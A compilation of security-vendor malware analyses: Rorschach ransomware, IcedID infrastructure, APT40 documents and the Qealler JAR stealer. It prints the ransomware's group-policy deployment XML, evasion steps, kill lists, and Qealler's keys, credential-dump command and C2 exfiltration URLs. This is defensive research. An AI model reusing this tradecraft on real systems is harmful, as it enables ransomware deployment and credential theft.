"%c"), latest=strftime(latest, "%c") ``` ## MITRE ATT&CK The folks at FireEye were kind enough to map their findings to MITRE ATT&CK. Like the lateral movement work above, I went through Splunk Security Essentials and pulled any content we might have associated with the observed tactics and techniques. The PDF ended up being pretty big, but we hope it’s useful. If you would rather just pivot in your own SSE instance, here are the 1-1 searches that you should review: - Malicious Powershell Process - Encoded Command - Anomalous Audit Trail Activity Detected - Tor Traffic - Concentration of Attacker Tools by Filename - Concentration of Attacker Tools by SHA1 Hash - Sc Exe Manipulating Windows Services - Prohibited Service Detected - Prohibited Process Detected - Anomalous New Service - Abnormally High Number of Endpoint Changes By User - First Time Seen Running Windows Service - Processes with Lookalike (typo) Filenames - SMB Traffic Allowed - Anomalous New Process - High Process Count - Prohibited Service Detected ## Conclusion We have tried to keep this blog short, sweet, and concise. The information above is pulled from our existing products like SSE, ESCU, previous research, and some off-the-cuff SPL’ing by great Splunkers like Shannon Davis and Ryan Lait. Much (if not all) of the analysis and IOCs above were derived from FireEye and Microsoft blogs on the subject. However, as mentioned above, our threat research team will be releasing more up-to-date information and additional detections as details (and data) become more available. Posted by Ryan Kovar NY. AZ. Navy. SOCA. KBMG. DARPA. Splunk.
# Rorschach – A New Sophisticated and Fast Ransomware **April 3, 2023** **Research by:** Jiri V. Inopal, Dennis Yarizadeh, and Gil Gekker ## Key Findings Check Point Research (CPR) and Check Point Incident Response Team (CPIRT) encountered a previously unnamed ransomware strain, dubbed Rorschach, deployed against a US-based company. Rorschach ransomware appears to be unique, sharing no overlaps that could easily attribute it to any known ransomware strain. Additionally, it does not bear any kind of branding, which is a common practice among ransomware groups. The ransomware is partly autonomous, carrying out tasks that are usually manually performed during enterprise-wide ransomware deployment, such as creating a domain group policy (GPO). In the past, similar functionality was linked to LockBit 2.0. The ransomware is highly customizable and contains technically unique features, such as the use of direct syscalls, rarely observed in ransomware. Moreover, due to different implementation methods, Rorschach is one of the fastest ransomware observed, by the speed of encryption. The ransomware was deployed using DLL side-loading of a Cortex XDR Dump Service Tool, a signed commercial security product, a loading method which is not commonly used to load ransomware. The vulnerability was properly reported to Palo Alto Networks. ## Introduction While responding to a ransomware case against a US-based company, the CPIRT recently came across a unique ransomware strain deployed using a signed component of a commercial security product. Unlike other ransomware cases, the threat actor did not hide behind any alias and appears to have no affiliation to any of the known ransomware groups. These two facts, rarities in the ransomware ecosystem, piqued CPR's interest and prompted a thorough analysis of the newly discovered malware. Throughout its analysis, the new ransomware exhibited unique features. A behavioral analysis suggests it is partly autonomous, spreading itself automatically when executed on a Domain Controller (DC), while it clears the event logs of the affected machines. Additionally, it’s extremely flexible, operating not only based on a built-in configuration but also on numerous optional arguments which allow it to change its behavior according to the operator’s needs. While it seems to have taken inspiration from some of the most infamous ransomware families, it also contains unique functionalities, rarely seen among ransomware, such as the use of direct syscalls. The ransomware note sent out to the victim was formatted similarly to Yanluowang ransomware notes, although other variants dropped a note that more closely resembled DarkSide ransomware notes, causing some to mistakenly refer to it as DarkSide. Each person who examined the ransomware saw something a little bit different, prompting us to name it after the famous psychological test – Rorschach Ransomware. ## Execution Flow As observed in the wild, Rorschach execution uses these three files: - **cy.exe** – Cortex XDR Dump Service Tool version 7.3.0.16740, abused to side-load winutils.dll - **winutils.dll** – Packed Rorschach loader and injector, used to decrypt and inject the ransomware. - **config.ini** – Encrypted Rorschach ransomware which contains all the logic and configuration. Upon execution of cy.exe, due to DLL side-loading, the loader/injector winutils.dll is loaded into memory and runs in the context of cy.exe. The main Rorschach payload config.ini is subsequently loaded into memory as well, decrypted, and injected into notepad.exe, where the ransomware logic begins. ## Security Solution Evasion Rorschach spawns processes in an uncommon way, running them in SUSPEND mode and giving out falsified arguments to harden analysis and remediation efforts. The falsified argument, which consists of a repeating string of the digit 1 based on the length of the real argument, is rewritten in memory and replaced with the real argument, resulting in a unique execution. The ransomware uses this technique to run the following operations: - Attempt to stop a predefined list of services, using net.exe stop. - Delete shadow volumes and backups to harden recovery, using legitimate Windows tools such as vssadmin.exe, bcdedit.exe, wmic.exe, and wbadmin.exe. - Run wevutil.exe to clear the following Windows event logs: Application, Security, System, and Windows Powershell. - Disable the Windows firewall, using netsh.exe. ## Self-propagation When executed on a Windows Domain Controller (DC), the ransomware automatically creates a Group Policy, spreading itself to other machines within the domain. The Rorschach Ransomware GPO deployment is carried out differently than similar functionalities linked in the past to LockBit 2.0: 1. Rorschach copies its files into the scripts folder of the DC and deletes them from the original location. 2. Rorschach then creates a group policy that copies itself into the %Public% folder of all workstations in the domain. 3. The ransomware creates another group policy in an attempt to kill a predefined list of processes by creating a scheduled task invoking taskkill.exe. 4. Finally, Rorschach creates another group policy that registers a scheduled task which runs immediately and upon user logon, to run Rorschach’s main executable with the relevant arguments. ## Ransomware Analysis In addition to the ransomware’s uncommon behavior described above, the Rorschach binary itself contains additional interesting features, differentiating it further from other ransomware. ### Binary and Anti-Analysis Protection The actual sample is protected carefully and requires considerable work to access. The initial loader/injector winutils.dll is protected with UPX-style packing, modified in such a way that it isn’t readily unpacked using standard solutions and requires manual unpacking. After unpacking, the sample loads and decrypts config.ini, which contains the ransomware logic. After Rorschach is injected into notepad.exe, it’s still protected by VMProtect. This results in a crucial portion of the code being virtualized in addition to lacking an IAT table. Only after defeating both of these safeguards is it possible to properly analyze the ransomware logic. ### Security Solution Evasion Although Rorschach is used solely for encrypting an environment, it incorporates an unusual technique to evade defense mechanisms. It makes direct system calls using the “syscall” instruction. The procedure involves utilizing the instruction itself, and it goes as follows: 1. The ransomware finds the relevant syscall numbers for NT APIs, mainly related to file manipulation. 2. Rorschach then stores the numbers in a table for future use. 3. When needed, it calls a stub routine that uses the number directly with the syscall instruction instead of using the NT API. In other words, the malware first creates a syscall table for NT APIs used for file encryption. ### Command Line Arguments In addition to the hardcoded configuration, the ransomware comes with multiple built-in options, probably for the operator's comfort. All of them are hidden, obfuscated, and not accessible without reverse-engineering the ransomware. **Example of some arguments:** - **–run** =1234: Password needed to run the sample, possibly built on demand. - **–nomutex** =1: Do not create a mutex, therefore do not ensure that only a single instance is running. - **–log** =1: Create log files. - **–nodel** =0: Do not self-delete on execution. - **–path** =“C:”: Encrypt only the following path. - **–noshare** =1: Do not encrypt shares. - **–diskpart** =1: Run diskpart.exe /s AppData_x.txt that removes read-only volume attributes. ### Language Based Protection Before encrypting the target system, the sample runs two system checks that can halt its execution: - It uses GetSystemDefaultUILanguage and GetUserDefaultUILanguage to determine what language the user is using. - It exits if the return value is commonly used in CIS countries. ## Encryption Process The Rorschach ransomware employs a highly effective and fast hybrid-cryptography scheme, which blends the curve25519 and eSTREAM cipher hc-128 algorithms for encryption purposes. This process only encrypts a specific portion of the original file content instead of the entire file. The WinAPI CryptGenRandom is utilized to generate cryptographically random bytes used as a per-victim private key. The shared secret is calculated through curve25519, using both the generated private key and a hardcoded public key. Finally, the computed SHA512 hash of the shared secret is used to construct the KEY and IV for the eSTREAM cipher hc-128. Analysis of Rorschach’s encryption routine suggests not only the fast encryption scheme mentioned previously but also a highly effective implementation of thread scheduling via I/O completion ports. Additionally, it appears that compiler optimization is prioritized for speed, with much of the code being inlined. All of these factors suggest that we may be dealing with one of the fastest ransomware out there. To verify our hypothesis, we conducted five separate encryption speed tests in a controlled environment (with 6 CPUs, 8192MB RAM, SSD, and 220000 files to be encrypted), limited to local drive encryption only. **Results of the speed tests:** - **LockBit v.3:** 7 minutes - **Rorschach:** 4 minutes, 30 seconds It turned out that we have a new speed demon in town. What’s even more noteworthy is that the Rorschach ransomware is highly customizable. By adjusting the number of encryption threads via the command line argument --thread, it can achieve even faster times. ## Technical Similarity to Other Ransomware When we compared Rorschach to other well-known ransomware families, we noticed that Rorschach uses a variety of time-honored methods together with some novel ideas in the ransomware industry. Rorschach’s inspiration from Babuk is evident in various routines, including those responsible for stopping processes and services. The code used to stop services through the service control manager appears to have been directly copied from Babuk’s source code. Rorschach takes inspiration from another ransomware strain: LockBit. The list of languages used to halt the malware is exactly the same list that was used in LockBit v2.0. However, the I/O Completion Ports method of thread scheduling is another component where Rorschach took some inspiration from LockBit. ## Ransom Notes Rorschach does not exhibit any clear-cut overlaps with any of the known ransomware groups but does appear to draw inspiration from some of them. The Rorschach variant we analyzed leaves a different ransom note based on the structure used by Yanlowang. ## Conclusion Our analysis of Rorschach reveals the emergence of a new ransomware strain in the crimeware landscape. Its developers implemented new anti-analysis and defense evasion techniques to avoid detection and make it more difficult for security software and researchers to analyze and mitigate its effects. Additionally, Rorschach appears to have taken some of the ‘best’ features from some of the leading ransomwares leaked online and integrated them all together. Our findings underscore the importance of maintaining strong cybersecurity measures to prevent ransomware attacks, as well as the need for continuous monitoring and analysis of new ransomware samples to stay ahead of evolving threats. As these attacks continue to grow in frequency and sophistication, it is essential for organizations to remain vigilant and proactive in their efforts to safeguard against these threats. **Samples/IOCs** **Files** | Name | Hash | Comments | |--------------|-----------------------------------------------|--------------------------------------------| | cy.exe | 2237ec542cdcd3eb656e86e43b461cd1 | PA Cortex Dump Service Tool (benign file) | | winutils.dll | 4a03423c77fe2c8d979caca58a64ad6c | Loader and injector into notepad.exe | | config.ini | 6bd96d06cd7c4b084fe9346e55a81cf9 | Encrypted ransomware payload | **Appendix A – Services and processes terminated through GPO by Rorschach** The following services are stopped through a GPO issued by Rorschach, probably to prevent conflicting write orders to Database files (and thus preventing encryption): - SQLPBDMS - SQLPBENGINE - MSSQLFDLauncher - SQLSERVERAGENT - MSSQLServerOLAPService - SSASTELEMETRY - SQLBrowser - SQL Server Distributed Replay Client - SQL Server Distributed Replay Controller - MsDtsServer150 - SSISTELEMETRY150 - SSISScaleOutMaster150 - SSISScaleOutWorker150 - MSSQLLaunchpad - SQLWriter - SQLTELEMETRY - MSSQLSERVER The following processes are killed using a group policy (scheduled task) issued by Rorschach executing C:\windows\system32\taskkill.exe: - wxServer.exe - wxServerView.exe - sqlmangr.exe - RAgui.exe - supervise.exe - Culture.exe - Defwatch.exe - httpd.exe - sync-taskbar - sync-worker - wsa_service.exe - synctime.exe - vxmon.exe - sqlbrowser.exe - tomcat6.exe - Sqlservr.exe **Appendix B – Hardcoded Rorschach configuration** The following is a list of services, hardcoded in its configuration, to be stopped via the service control manager: - AcronisAgent - AcrSch2Svc - backup - BackupExecAgentAccelerator - BackupExecAgentBrowser - BackupExecDiveciMediaService - BackupExecJobEngine - BackupExecManagementService - BackupExecRPCService - BackupExecVSSProvider - CAARCUpdateSvc - CASAD2DWebSvc - ccEvtMgr - ccSetMgr - DefWatch - GxBlr - GxCIMgr - GxCVD - GxFWD - GxVss - Intuit.QuickBooks.FCS - memtas - mepocs - PDVFSService - QBCFMonitorService - QBFCService - QBIDPService - RTVscan - SavRoam - sophos - sql - stc_raw_agent - svc$ - veeam - VeeamDeploymentService - VeeamNFSSvc - VeeamTransportSvc - VSNAPVSS - vss - YooBackup - YooIT - zhudongfangyu The following is a hardcoded list of directories and files to be omitted from encryption: - .. - #recycle - $Recycle.Bin - 1_config.ini - Ahnlab - All Users - AppData - AUTOEXEC.BAT - autoexec.bat - autorun.inf - begin.txt - Boot - boot.ini - bootfont.bin - bootmgfw.efi - bootmgr - bootmgr.efi - bootsect.bak - config.ini - desktop.ini - finish.txt - Google - iconcache.db - Internet Explorer - Mozilla - Mozilla Firefox - NETLOGON - ntldr - ntuser.dat - NTUSER.DAT - ntuser.dat.log - ntuser.dat.LOG1 - ntuser.dat.LOG2 - ntuser.ini - Opera - Opera Software - Policies - Program Files - Program Files (x86) - ProgramData - scripts - SYSVOL - thumbs.db - Tor Browser - Windows - WINDOWS - Windows.old The following is a list of process names that during Rorschach’s execution these names are compared to those running on the machine and killed if matched: - AcronisAgent - AcrSch2Svc - agntsvc.exe - BackExecRPCService - backup - BackupExecAgentAccelerator - BackupExecDiveciMediaService - BackupExecJobEngine - bedbg - CAARCUpdateSvc - ccEvtMgr - Culserver - dbeng50.exe - dbeng8 - dbsnmp.exe - dbsrv12.exe - DefWatch - encsvc.exe - excel.exe - firefox.exe - infopath.exe - Intuit.QuickBooks.FCS - memtas - mepocs - msaccess.exe - MSExchange - msftesql-Exchange - msmdsrv - mspub.exe - MSSQL - mydesktopqos.exe - mydesktopservice.exe - ocautoupds.exe - ocomm.exe - ocssd.exe - onenote.exe - oracle.exe - outlook.exe - PDVFSService - powerpnt.exe - QBCFMonitorService - QBFCService - QBIDPService - SavRoam - sophos - sqbcoreservice.exe - sql.exe - sqladhlp - SQLADHLP - sqlagent - SQLAgent - SQLAgent$SHAREPOINT - SQLBrowser - SQLWriter - steam.exe - synctime.exe - tbirdconfig.exe - thebat.exe - thunderbird.exe - tomcat6 - veeam - VeeamDeploymentService - VeeamNFSSvc - VeeamTransportSvc - visio.exe - vmware-converter - vmware-usbarbitator64 - WinSAT.exe - winword.exe - wordpad.exe - wrapper.exe - WSBExchange - xfssvccon.exe - YooBackup **Appendix C – Group Policies executed by Rorschach** Transferring its own files to each workstation: ```xml <Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}"> <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="0305_winutils.dll" status="0305_winutils.dll" image="2" changed="2023-03-05 08:51:22" uid="{3F490769-A341-4220-90A3-51964B4A0C12}" bypassErrors="1"> <Properties action="U" fromPath="\\**REDACTED**\sysvol\**REDACTED**.local\scripts\winutils.dll" targetPath="%Public%\winutils.dll" readOnly="0" archive="1" hidden="0" suppress="0"/> </File> <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="0305_config.ini" status="0305_config.ini" image="2" changed="2023-03-05 08:51:22" uid="{F513F283-3C66-4C71-9B9B-4CE9BBFCEEF1}" bypassErrors="1"> <Properties action="U" fromPath="\\**REDACTED**.local\sysvol\**REDACTED**.local\scripts\config.ini" targetPath="%Public%\config.ini" readOnly="0" archive="1" hidden="0" suppress="0"/> </File> <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="0305_cy.exe" status="0305_cy.exe" image="2" changed="2023-03-05 08:51:22" uid="{0A16D469-2648-4849-99C8-95D1B777D59A}" bypassErrors="1"> <Properties action="U" fromPath="\\**REDACTED**.local\sysvol\**REDACTED**.local\scripts\cy.exe" targetPath="%Public%\cy.exe" readOnly="0" archive="1" hidden="0" suppress="0"/> </File> </Files> ``` Executing a scheduled task to run the attack: ```xml <TaskV2 clsid="{D8896631-B747-47a7-84A6-C155337F3BC8}" name="2_0305_cy.exe" image="2" changed="**REDACTED**" uid="{3772E17D-6354-4DF1-A73B-8868AC352B23}"> <Properties action="U" name="2_0305_cy.exe" runAs="%LogonDomain%\%LogonUser%" logonType="InteractiveToken"> <Task version="1.2"> <RegistrationInfo> <Author>**REDACTED**\Administrador</Author> <Description></Description> </RegistrationInfo> <Principals> <Principal id="Author"> <UserId>%LogonDomain%\%LogonUser%</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <IdleSettings> <Duration>PT10M</Duration> <WaitTimeout>PT1H</WaitTimeout> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Triggers> <RegistrationTrigger> <Enabled>true</Enabled> </RegistrationTrigger> <LogonTrigger> <Enabled>true</Enabled> </LogonTrigger> </Triggers> <Actions Context="Author"> <Exec> <Command>%Public%\cy.exe</Command> <Arguments>--run=**REDACTED**</Arguments> </Exec> </Actions> </Task> </Properties> </TaskV2> ```
# IcedID Command and Control Infrastructure Earlier this week, the DFIR Report published an interesting analysis of an intrusion with the notorious Sodinokibi/REvil ransomware. The intrusion used IcedID as the initial access broker: many ransomware actors use another malware campaign to gain access to an internal network, and IcedID has become a very popular choice for that. In this blog post, I use the IOCs shared by the DFIR Report to uncover more command and control infrastructure linked to IcedID, some of which has not been published before. IcedID, also known as Bokbot, was discovered by IBM X-Force in November 2017. Initially operating as a banking trojan, it has since made the same move that Emotet had made previously and is now used to serve a foothold within a network that is later used by a ransomware operation. The DFIR Report’s analysis lists cikawemoret34[.]space and nomovee[.]website as IcedID command and control servers used during the intrusion. These domains were hosted on the IP addresses 206.189.10[.]247 and 161.35.109[.]168 respectively. It is always a good idea to see what other domains were hosted on these IP addresses. Using Silent Push passive DNS data, on 206.189.10[.]247 I also found the following domains: - 33nachoscocso[.]website - berxion9[.]online - chinavillage[.]uno - emanielepolikutuo1[.]website - gommadrilla[.]space - oskolko[.]uno - prolomstenn[.]fun While on 161.35.109[.]168 I also found: - aspergerr[.]top - kneelklil[.]uno - newstationcosmo8[.]space Unsurprisingly, most of these domains have been publicly linked to IcedID. All the domains were registered through Porkbun in February or March and parked there initially before switching to Cloudflare’s nameservers and pointing to the aforementioned IP addresses. This switching happened at different times for different domains, suggesting that the switch was made just before a domain was used in a campaign. One domain stands out: emanielepolikutuo1[.]website first switched to using nameservers belonging to Russia’s Server Space and pointing to the IP address 143.198.25[.]214, before switching to Cloudflare and 206.189.10[.]247 a little over a week later. So, I had a look at 143.198.25[.]214 and found the following domains hosted there: - apouvtios2[.]uno - awefoplou5[.]site - chajkovsky[.]space - daserwewlollipop[.]club - dastemodaste[.]fun - emanielepolikutuo1[.]website - ohbluebennihill[.]website - seconwowa[.]cyou - violonchelistto[.]space - zomonedu3[.]website All but one of these domains were registered at Porkbun; the exception is the slightly older seconwowa[.]cyou, which was registered through NameSilo. Just like the previous set of domains, all these domains switched to using Cloudflare’s nameservers at some point and switched IP addresses at the same time. However, some first pointed to 83.97.20[.]176 before pointing to 143.198.25[.]214. On the former IP addresses, I also found four more domains: - ameripermanentno[.]website - mazzappa[.]fun - odichaly[.]space - vaccnavalcod[.]website Again, these used the same pattern of registering at Porkbun before switching to Cloudflare’s nameservers and the above IP address. Of the latter two lists of domains, only some have been publicly linked to IcedID activity. However, the similarities noted above, as well as the choice of TLDs, make me confident these domains belong to the same infrastructure and either have been or will be used in IcedID campaigns. There is a pattern there: a domain gets registered, usually at Porkbun, and parked there for a while before its nameservers switch to those of Cloudflare when the domain points to a new IP address. This IP address hosts multiple of these domains. There is also a preference for slightly unusual top-level domains. Using this pattern, I dug into the Silent Push data trove to look for other domains that satisfied this pattern. I had to sift through the results to filter out false positives, but I ended up with a list of domain names and corresponding IP addresses of which I consider it very likely they belong to IcedID’s infrastructure. Many of these indicators have been published previously, for example on Maltrail’s GitHub, but many others have not been publicly linked to IcedID before. You can find the full list of 58 IP addresses and 323 domain names (and 402 combinations: some domain names have pointed to multiple IP addresses) on our GitHub page. ## Conclusion Malware like IcedID plays a crucial role in many large cybercrime campaigns, including ransomware, which can be very costly for the victim organization. Early knowledge of indicators is thus important, even if these indicators haven’t all been publicly linked to the malware. In this blog post, I have shown how I was able to find hundreds of such indicators by spotting some patterns in the domain behavior. Thanks to John Jensen and Ken Bagnall for their contributions.
# APT40 goes from Template Injections to OLE-Linkings for payload delivery I came across a maldoc on VirusTotal that is named to phish and the timing when this maldoc appeared was also pretty “coincidental” with the recent political situation in Malaysia. I’m curious enough to look into this maldoc further. According to MyCERT’s post in Feb 2020, a set of malware had been found to be targeting Malaysian Government officials, and these were attributed to APT40. Extensive analysis of these files had been done by various researchers and we know the malware families involved are DADJOKE and DADSTACHE. On 27 Feb 2020, this new maldoc surfaced on VirusTotal delivered a variant of DADSTACHE. This new maldoc is interesting, because it employed a different technique of fetching the final payload. I’ve compiled the following information regarding the different malicious documents used by APT40 against Malaysia: In the latest document (below, MD5 571EFE3A29ED1F6C1F98576CB57DB8A5), it employed a very different method in fetching the final payload. It goes through 3 “fetching layers” of OLE-linkings to finally arrive at DADSTACHE execution. At the last layer, the RTF document makes use of “CVE-2017–0199” to execute the VBScript within a HTA file. The actual target of this maldoc is unknown, though the file was uploaded to VirusTotal by a user in Malaysia. I think one reason for incorporating so many “fetching layers” is to allow layers to change dynamically — at any point in time, “Report.docx”, “out.rtf”, “M.png” and “dbgeng.dll” can be altered at the attackers’ side to fetch different files or to connect to different URLs. Previously the payloads are already embedded into the malicious document and thus difficult to change after deployment. DADSTACHE is first observed to be delivered through the maldoc (MD5: A827D521181462A45A7077AE3C20C9B5). Also notice how this maldoc’s embedded objects’ names look different from the ones in the previous maldocs in the list. I’ll do an analysis walkthrough of the DADSTACHE payload in the next post.
# Qealler – a new JAR-based information stealer Recently, the Zscaler ThreatLabZ team came across a new type of malware called Qealler, which is written in Java and designed to silently steal sensitive information from an infected machine. Qealler is a highly obfuscated Java loader that deploys a Python credential harvester. We first saw this payload hit Zscaler Cloud Sandbox on Jan 21, 2019. This threat makes use of social engineering techniques to initiate the infection, as the malicious JAR file has to be executed by the user. These malicious JAR files are portrayed as invoice-related files, requiring the user to double-click on the file to open it. We have been monitoring this campaign for the past two weeks, and the malware has been quite active, spiking this week. The malicious JAR file (named Remittance.jar), which we analyzed, was getting downloaded from a compromised site (hiexsgroup.co[.]uk). It is heavily obfuscated with Proguard Java obfuscator. After deobfuscation and decompilation, we saw encrypted URLs that are accessible by a key. The sample has a “synchronized” file that contains key-value pairs. On execution, this sample first creates two file paths in %USERPROFILE% by checksum of hardcoded strings. **File path 1:** ``` %USERPROFILE%\\CRC32(“2a890bc98aaf6c96f2054bb1eadc9848eb17633039e9e9ffd833104ce553fe9b”)\\CRC32(“qealler”)\\CRC32(“lib”)\\CR ``` Equivalent to: ``` %USERPROFILE%\\a60fcc00\\bda431f8\\a90f3bcc\\83e7cdf9 ``` **File Path 2:** ``` %USERPROFILE%\\CRC32(“2a890bc98aaf6c96f2054bb1eadc9848eb17633039e9e9ffd833104ce553fe9b”)\\CRC32(“qealler”)\\CRC32(“lib”)\\CR ``` Equivalent to: ``` %USERPROFILE%\\a60fcc00\\bda431f8\\a90f3bcc\\db2bf213 ``` If the above two files don’t exist, the malicious file decrypts the URL, downloads these two files, and stores them in the same place. The value of LIB_7Z_URL in the synchronized file is “xVQR4PWAw91AhkgaMsQVAVV1igV7HSOV1dqWgFN23eQtkNRd23RzTnPVGB9/iVYA” which is decoded by BASE64 and decrypted by AES-EBC with the hardcoded key “bbb6fec5ebef0d93”. The final URL after decryption is hxxp://82.196.11[.]96:55326/lib/7z. The value of LIB_QEALLER_URL in the synchronized file is “xVQR4PWAw91AhkgaMsQVAaWhGxVQIpMxX60ZE+OpV3KjNnWvOARi0rccZaVSvle8”, it is also decrypted by the same algorithm with the same key. The final URL is hxxp://82.196.11[.]96:54869/lib/qealler. The sample downloads the data from these URLs and encrypts it using the AES algorithm with the key generated by SecureRandom() having hardcoded seed value “2a890bc98aaf6c96f2054bb1eadc9848eb17633039e9e9ffd833104ce553fe9b”. **AES key:** ``` 39 3e df 7e fc 58 be 20 60 e4 78 bb 4a 91 38 72 ``` After encryption, it stores both files at the below locations to avoid further downloading in the next run: ``` %USERPROFILE%\\a60fcc00\\bda431f8\\a90f3bcc\\83e7cdf9 (/lib/7z) %USERPROFILE%\\a60fcc00\\bda431f8\\a90f3bcc\\db2bf213 (/lib/qealler) ``` Along with these two files, the virus creates another file path with the following algorithm and stores an encrypted unique machine ID in it. The ID is generated by a random number of system nanoTime. **Machine ID path:** ``` %USERPROFILE%\\CRC32(“2a890bc98aaf6c96f2054bb1eadc9848eb17633039e9e9ffd833104ce553fe9b”)\\CRC32(“qealler”)\\CRC32(“machine ``` Equivalent to: ``` %USERPROFILE%\\a60fcc00\\bda431f8\\1505df84\\bf396750\\98dd4acc\\99de3ada ``` After the downloading and decryption steps are completed, the sample stores a decrypted copy of 83e7cdf9 and db2bf213 in the %TEMP% directory with the name “_<SystemNanoTime>.tmp”. ``` _502560701855008616300501457487639.tmp _502562165489004300569223733573535.tmp ``` `_502560701855008616300501457487639.tmp (/lib/7z)` is again a JAR file that doesn’t have any Java code inside, but contains three PE files inside the libraries. `7za.exe` is a repackaged version of 7-zip to ensure the malware executes successfully even if the user does not have it installed by default. The 7-zip (7za.exe) and its modules (7za.dll, 7zxa.dll) will be extracted from 7z.jar by the main sample and saved in the %TEMP% directory with the name “7z_<SystemNanoTime>.exe” and “7z_<SystemNanoTime>.dll”. After extraction, the 7-zip executable is called by the main sample with the following command-line options: ``` %TEMP%\\7z_502574395484008643130462441900754.exe x %TEMP%\\_502562165489004300569223733573535.tmp -o%TEMP% -p”bbb6fec5ebef0d936db0b031b7ab19b6” -mmt -aoa -y ``` The downloaded Qealler module `_502562165489004300569223733573535.tmp (/lib/qealler)` is a password-protected file with 7-zip. The above command will extract the Qealler module in the %TEMP% directory with the password: bbb6fec5ebef0d936db0b031b7ab19b6. The Qealler module is the key component of this malware. The extracted Qealler module contains Python 2.7.12 with the installed packages to ensure the malware will execute even if the user does not have it installed by default. The Qealler also has a directory named QaZaqne. It is a custom version of the open source project called LaZagne. LaZagne is used to retrieve lots of passwords stored on a local computer. This is the same functionality of QaZagne, which finds and steals credentials of the most commonly used software from local machines. After extraction, the main sample (Remittance.jar) executes a Python file of QaZagne (main.py) with the following option and takes the JSON output: ``` %TEMP%\\qealler\\python\\python.exe %TEMP%\qealler\qazaqne\main.py all ``` This will get the credentials of all the software. The output of the QaZagne on an infected Windows machine is in JSON format and contains the credentials of CoreFTP and a Windows credential manager. It always starts with #fs# and ends with #ff#. The main sample parses this output, fetches system information, and encrypts it using an AES-EBC algorithm with key “bbb6fec5ebef0d93”. The final information scraped from the infected machine before encryption includes a unique ID generated by system nanoTime and an encrypted UUID. This output is encrypted and encoded with BASE64 and sent to the command-and-control (C2) server, whose URL is an encrypted value of the key “d7c363a2019dac744cf076e11433547a47907e2c2f781e2d1c8f59a40c57dd03” in a synchronized file. **C2 URL:** ``` hxxp://82.196.11[.]96:56636/qealler-reloaded/ping ``` In the post headers, `q-qealler-id` is the encrypted machine ID and `q-qealler-stub-id` is the encrypted hash of the machine ID and system time. The request body contains encrypted and encoded system information and stolen credentials. If the C2 server is active and data is successfully sent to the server, it will respond with the encrypted status. **IOCs:** - hiexsgroup.co[.]uk/?_sm_nck=1 - lcbodywowrksltd[.]online - willsonsolicitors[.]biz - willsonsolicitors[.]online - willsonsolicitors[.]store - mcneilspecs[.]com - mcneilspecs[.]org - mcneilspecs[.]net - prestigebuildersltd[.]com - prestigebuildersltd[.]net - larrgroup.co[.]uk/remittance%20advice.jar - prestonbuildersltd.co[.]uk/remittance%20advice.jar - otorgroup.co[.]uk/remittance%20advice.jar - ultrogroup.co[.]uk/remittance%20advice.jar - stgeorgebuildltd.co[.]uk/remittance%20advice.jar - gregoryteebuilders.co[.]uk/remittance%20advice.jar - txjxgroup.co[.]uk/remittance.jar - kingagroup.co[.]uk/remittance%20advice.jar - hiexgroup.co[.]uk/remittance%20advice.jar **File hashes:** - 4f77bf588e0b721e68971059b0cefe21 (Remittance Advice.jar) - b0ba5d6fdd26d81a6a2f050600ade3f0 (Remittance Advice.jar) - d742beba17f7893b2b4989661652a66f (Remittance Advice.jar) - 61ecd8f17d405fa1c29dd78008011250 (Remittance Advice.jar) - ccac2b99cb4b72bc7728a8fc42ccc4ad (Remittance Advice.jar) - 76e87575e76b2ea28e1bb49e4c280152 (Remittance Advice.jar) - 7854ccf3208f805da7ec19a067ae3abe (Remittance Advice.jar) - ca741116466d5ddbcb76df00748bb885 (Remittance Advice.jar) - 9b7ebeff190cef02a7c22072d3d26ab3 (Remittance Advice.jar) - 639865eb7fac1b405b223cb4b7fe9ada ({E60A953D}-Remittance Advice.jar) - e6fdc2140f6047fad60720cdf2157f9c (Remittance.jar) - aae120bf74131d04e47d99b16af41120 (Remittance.jar) - 3d43a83b1c8877e782ff69650ec00449 (Remittance.jar) - 4d433929f175c6df366aed139bf34f85 (Remittance.jar) - 2ed3b8cdc87a11437f5a15302ce047d6 (Remittance.jar) - 8e0f4cb12c6f2fef3a8ff731c195843d (Remittance.jar) - fc20f0068b71cc74e9061a0ea2b5d45a (Cred_Adv043H3272.jar) - 791217f372c347f53003ae8a26a2fe54 (Cred_Adv043H3272.jar) - a593cb286e0fca1ca62e690022c6d918 (7z.jar) - 8d2c718599ed0aff7ab911e3f1966e8c (qealler.jar) - 5a8915c3ee5307df770abdc109e35083 (main.py) **C2 IPs:** - 82.196.11[.]96:54869/lib/qealler - 82.196.11[.]96:443/lib/qealler - 128.199.60[.]13:443/lib/qealler - 37.139.12.136:443/lib/qealler - 192.81.222[.]28:41210/lib/qealler - 37.139.12[.]169:23980/lib/qealler - 37.139.12[.]169:16901/lib/qealler - 176.58.117[.]125:8676/lib/qealler - 176.58.117[.]125:8796/lib/qealler - 146.185.139[.]123:6521/lib/qealler - 159.65.84[.]42:10846/lib/qealler - 159.65.84[.]42:12536/lib/qealler - 139.59.76[.]44:4000/lib/qealler - 128.199.60[.]13:47222/lib/7z - 128.199.60[.]13:443/lib/7z - 128.199.60[.]13:46061/lib/7z - 82.196.11[.]96:54869/lib/7z - 82.196.11[.]96:443/lib/7z - 37.139.12[.]136:443/lib/7z - 192.81.222[.]28:39871/lib/7z - 176.58.117[.]125:8650/lib/7z - 176.58.117[.]125:8796/lib/7z - 159.65.84[.]42:11268/lib/7z - 82.196.11[.]96:56636/qealler-reloaded/ping - 37.139.12[.]136:36561/qealler-reloaded/ping - 128.199.60[.]13:56636/qealler-reloaded/ping - 192.81.222[.]28:46871/qealler-reloaded/ping - 176.58.117[.]125:5797/qealler-reloaded/ping
